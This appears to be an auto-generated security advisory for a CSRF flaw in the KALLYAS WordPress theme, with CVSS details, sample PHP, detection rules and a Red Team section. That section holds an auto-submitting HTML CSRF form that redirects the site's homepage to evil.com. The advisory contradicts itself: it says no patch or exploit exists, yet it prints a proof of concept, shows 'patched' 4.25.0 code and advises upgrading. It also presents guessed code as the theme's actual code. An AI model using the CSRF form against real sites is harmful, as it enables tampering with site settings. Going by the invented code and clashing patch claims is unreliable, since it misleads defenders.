CVE-2025-63060
Executive Summary
CVE-2025-63060 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the KALLYAS WordPress theme by Hogash, in versions prior to 4.25.0. This vulnerability allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying theme settings or creating new admin users, without their consent. The attack requires user interaction (clicking a crafted link or visiting a malicious page) and has a CVSS score of 4.3 (Medium). No public exploit code or proof-of-concept is currently available, and the vendor has not released an official patch. This is a WordPress ecosystem issue, not related to Apache or Nginx.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is in a WordPress theme distributed via the official WordPress repository and third-party marketplaces. Users should verify the integrity of their theme files and ensure they are obtained from trusted sources. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Base Score: 4.3 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R)
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
The threat level is Medium due to the requirement for user interaction and the limited impact on integrity. However, in a WordPress context, a CSRF attack could lead to privilege escalation or site defacement.
Deep Dive & Mechanics
The KALLYAS theme likely implements administrative actions (e.g., saving theme options, importing/exporting settings) via HTTP POST requests without proper CSRF tokens. An attacker can craft a malicious HTML page that, when visited by an authenticated admin, submits a forged request to the WordPress admin area. For example, the attacker could change the site's homepage URL or inject malicious JavaScript into theme settings.
The vulnerability exists because the theme does not validate the _wpnonce or similar CSRF token in its admin AJAX handlers or form submissions. This is a common oversight in WordPress theme development.
Vulnerable vs. Patched Code
Vulnerable Code (pre-4.25.0):
// In theme-options.php or similar
add_action('wp_ajax_save_theme_options', 'kallyas_save_theme_options');
function kallyas_save_theme_options() {
// No CSRF check
update_option('kallyas_theme_options', $_POST['options']);
wp_die();
}
Patched Code (4.25.0+):
add_action('wp_ajax_save_theme_options', 'kallyas_save_theme_options');
function kallyas_save_theme_options() {
// CSRF token verification
if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'kallyas_save_theme_options')) {
wp_die('CSRF validation failed.');
}
update_option('kallyas_theme_options', $_POST['options']);
wp_die();
}
The patched version adds a nonce check using WordPress's built-in wp_verify_nonce() function.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site running KALLYAS < 4.25.0
- An authenticated admin session (the victim)
- A malicious HTML page hosted on an attacker-controlled server
Exploitation Steps:
- Craft a malicious HTML page that automatically submits a POST request to the vulnerable endpoint.
- Host the page on a domain the victim might visit (e.g., via a phishing email).
- When the victim visits the page, the CSRF attack executes.
Example Malicious HTML:
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf-form">
<input type="hidden" name="action" value="save_theme_options">
<input type="hidden" name="options[homepage_url]" value="http://evil.com">
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
Blue Team
Detection:
- Monitor for unexpected POST requests to
admin-ajax.phpwith suspicious parameters. - Look for anomalies in theme option changes via audit logs.
- Use the detection rules below.
Mitigation:
- Ensure the theme is updated to version 4.25.0 or later.
- Implement a Web Application Firewall (WAF) rule to block requests missing CSRF tokens.
- Educate administrators about phishing risks.
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
/wp-admin/admin-ajax.phpwithaction=save_theme_optionsand no_wpnonceparameter. - File: Modified
wp_optionstable entries forkallyas_theme_options. - Log: WordPress debug log entries showing unexpected option changes.
- Behavior: Unauthorized changes to theme settings or site appearance.
Detection Engineering
YARA Rule
rule CVE_2025_63060_CSRF_KALLYAS {
meta:
description = "Detects KALLYAS theme files missing CSRF nonce checks"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-63060"
strings:
$ajax_action = "wp_ajax_save_theme_options"
$nonce_check = "wp_verify_nonce"
$nonce_field = "_wpnonce"
condition:
$ajax_action and not ($nonce_check or $nonce_field)
}
Sigma Rule
title: CVE-2025-63060 CSRF Exploitation Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects CSRF attempts against KALLYAS theme admin-ajax.php
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=save_theme_options'
filter:
cs-uri-query|contains: '_wpnonce'
condition: selection and not filter
falsepositives:
- Legitimate admin actions with nonce
level: medium
Suricata Rule
alert http any any -> $HOME_NET any (msg:"CVE-2025-63060 KALLYAS CSRF Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/wp-admin/admin-ajax.php"; http.client_body; content:"action=save_theme_options"; pcre:"/^(?!.*_wpnonce).*$/"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Upgrade KALLYAS theme to version 4.25.0 or later.
- Workaround: If upgrade is not possible, add a custom CSRF token check via a WordPress plugin or code snippet.
- Monitoring: Enable WordPress audit logging and monitor for unexpected admin-ajax.php requests.
- User Training: Educate administrators about phishing and CSRF risks.
- WAF: Deploy a Web Application Firewall with rules to block requests missing nonce parameters.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.